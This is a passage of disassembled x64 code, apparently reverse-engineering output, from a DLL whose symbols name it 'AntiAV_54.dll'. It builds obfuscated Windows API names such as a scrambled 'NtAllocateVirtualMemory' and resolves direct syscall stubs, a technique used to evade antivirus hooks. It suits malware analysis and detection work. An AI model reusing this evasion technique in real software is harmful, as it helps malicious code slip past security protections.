call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x6c73d3f7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x6c73d407]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1780]
lea rdx, [rbp + 0x17a0]
lea r8, [0x6c73d407]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x1780]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x192f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x1930]
mov rcx, qword [rbp + 0x2ec8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c68617c
lea rbx, [0x6c73d3d7]
jmp 0x6c686183
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x1b5f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x1b5f]
lea rax, [rbp + 0x1b30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x6c73d417]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ad0]
lea rdx, [rbp + 0x1af0]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ab0]
lea rdx, [rbp + 0x1ad0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1a90]
lea rdx, [rbp + 0x1ab0]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1a70]
lea rdx, [rbp + 0x1a90]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1a50]
lea rdx, [rbp + 0x1a70]
lea r8, [0x6c73d3bd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1a30]
lea rdx, [rbp + 0x1a50]
lea r8, [0x6c73d41d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1a10]
lea rdx, [rbp + 0x1a30]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x19f0]
lea rdx, [rbp + 0x1a10]
lea r8, [0x6c73d3fb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x19d0]
lea rdx, [rbp + 0x19f0]
lea r8, [0x6c73d3fd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x19b0]
lea rdx, [rbp + 0x19d0]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1950]
lea rdx, [rbp + 0x1970]
lea r8, [0x6c73d3ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x1950]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x19d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x19f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1a10]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1a30]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1a50]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1a70]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1a90]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ab0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1b5f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x1b60]
mov rcx, qword [rbp + 0x2ec0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c686514
lea rbx, [0x6c73d3d7]
jmp 0x6c68651b
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x1def]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x1def]
lea rax, [rbp + 0x1dc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x6c73d3bd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1d60]
lea rdx, [rbp + 0x1d80]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1d40]
lea rdx, [rbp + 0x1d60]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1d20]
lea rdx, [rbp + 0x1d40]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1d00]
lea rdx, [rbp + 0x1d20]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ce0]
lea rdx, [rbp + 0x1d00]
lea r8, [0x6c73d405]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1cc0]
lea rdx, [rbp + 0x1ce0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ca0]
lea rdx, [rbp + 0x1cc0]
lea r8, [0x6c73d407]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1c80]
lea rdx, [rbp + 0x1ca0]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1c60]
lea rdx, [rbp + 0x1c80]
lea r8, [0x6c73d3d3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1c40]
lea rdx, [rbp + 0x1c60]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1c20]
lea rdx, [rbp + 0x1c40]
lea r8, [0x6c73d3fb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c20]
lea r8, [0x6c73d3fd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1be0]
lea rdx, [rbp + 0x1c00]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ba0]
lea rdx, [rbp + 0x1bc0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1b80]
lea rdx, [rbp + 0x1ba0]
lea r8, [0x6c73d3ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x1b80]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1be0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1c00]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1c20]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1c40]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1c60]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1c80]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ca0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1cc0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ce0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1d00]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1d20]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1d40]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1def]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x1df0]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x1df0]
mov rcx, qword [rbp + 0x2eb8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x1df0]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c686930
lea rbx, [0x6c73d3d7]
jmp 0x6c686937
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x205f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x205f]
lea rax, [rbp + 0x2030]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x6c73d41f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1fd0]
lea rdx, [rbp + 0x1ff0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1fb0]
lea rdx, [rbp + 0x1fd0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1f90]
lea rdx, [rbp + 0x1fb0]
lea r8, [0x6c73d3f9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1f70]
lea rdx, [rbp + 0x1f90]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1f50]
lea rdx, [rbp + 0x1f70]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1f30]
lea rdx, [rbp + 0x1f50]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1f10]
lea rdx, [rbp + 0x1f30]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ef0]
lea rdx, [rbp + 0x1f10]
lea r8, [0x6c73d403]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1ed0]
lea rdx, [rbp + 0x1ef0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1eb0]
lea rdx, [rbp + 0x1ed0]
lea r8, [0x6c73d3fb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1e90]
lea rdx, [rbp + 0x1eb0]
lea r8, [0x6c73d3fd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e90]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e70]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1e30]
lea rdx, [rbp + 0x1e50]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1e10]
lea rdx, [rbp + 0x1e30]
lea r8, [0x6c73d3ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x1e10]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1e50]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1e70]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1e90]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ed0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1f10]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1f30]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1f50]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1f70]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1f90]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x205f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x2060]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x2060]
mov rcx, qword [rbp + 0x2eb0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x2060]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c686d20
lea rbx, [0x6c73d3d7]
jmp 0x6c686d27
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x22cf]
mov rcx, rax
